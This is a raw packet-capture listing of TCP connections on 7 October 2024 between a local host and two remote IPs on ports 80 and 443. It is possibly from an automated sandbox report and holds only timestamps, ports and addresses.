Oct 7, 2024 18:00:44.488756895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488768101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488779068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488790989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488800049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488801956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488827944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488830090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488841057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488843918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488857031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488867044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488867044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488878965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488888025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488890886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488903999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488903999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488918066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488929987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488934994 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488953114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488970041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489039898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489052057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489063025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489073038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489089012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489100933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489116907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489131927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489139080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489144087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489156008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489166975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489176989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489181995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489207983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489213943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489226103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489232063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489236116 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.489238977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489240885 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.489247084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489249945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489263058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489274025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489274979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489288092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489312887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489314079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489329100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489341021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489367008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489377975 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489469051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489480972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489490986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489501953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489516020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489516973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489530087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489540100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489546061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489552975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489562988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489567041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489579916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489583015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489610910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489638090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489662886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489674091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489685059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489695072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489706039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489711046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489717960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489728928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489741087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489743948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489752054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489758015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489769936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489772081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489783049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489794970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489804983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489806890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489819050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489828110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489833117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489845037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489849091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489857912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.489866018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489882946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.489909887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.490083933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490096092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490106106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490117073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490128040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490130901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.490139961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490144968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.490154028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490164995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490174055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.490175962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490187883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490199089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490199089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.490211010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490214109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.490223885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.490238905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.490271091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.505444050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505456924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505467892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505479097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505491018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505501986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505512953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505522013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505532026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.505542040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505549908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.505565882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.505573034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505599022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.505614042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.505614996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505629063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505654097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.505666018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.505685091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505697012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505708933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.505734921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.505759954 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.559756041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.559773922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.559792995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.559827089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.559839964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.559850931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.559864998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.559897900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.559935093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572118044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572135925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572146893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572201967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572213888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572223902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572232008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572237015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572269917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572293997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572421074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572432041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572441101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572452068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572467089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572468042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572480917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572494030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572495937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572504997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572514057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572542906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572657108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572669029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572678089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572695017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572702885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572706938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572719097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572717905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572731018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572741985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572746992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572774887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572787046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572788000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572799921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572812080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572823048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572824955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572835922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572844982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572863102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572874069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572875977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572885036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.572902918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.572931051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573005915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573016882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573026896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573039055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573041916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573071003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573093891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573177099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573189020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573199987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573210001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573220968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573224068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573232889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573251963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573251963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573266029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573276997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573278904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573290110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573302031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573308945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573313951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573321104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573328018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573338985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573342085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573354959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573368073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573368073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573383093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573396921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573400021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573410034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573421001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573467016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573467016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573502064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573514938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573524952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573535919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573542118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573546886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573558092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573559999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573573112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573585987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573591948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573604107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573605061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573616028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573626041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573637009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573656082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573661089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573661089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573667049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573678017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573682070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573705912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573729038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573770046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573781013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573791981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573802948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573813915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573815107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573824883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573837042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573841095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573847055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573868990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573890924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573930979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573942900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573952913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573965073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.573967934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.573998928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574016094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574028015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574028015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574054003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574064016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574068069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574080944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574093103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574104071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574117899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574148893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574163914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574176073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574193001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574202061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574204922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574218988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574228048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574229002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574242115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.574254036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574273109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.574297905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.584173918 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.584343910 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.584449053 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.584681034 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.584702969 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.584713936 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.584719896 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.587251902 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.587296009 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.587414026 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.587523937 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.587538958 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.589737892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589782953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589796066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589850903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589858055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.589862108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589874029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589883089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589891911 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.589895010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589909077 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.589922905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.589948893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.589956999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589967012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589976072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589987040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.589997053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.590003014 CEST	49831	80	192.168.2.5	95.164.90.97
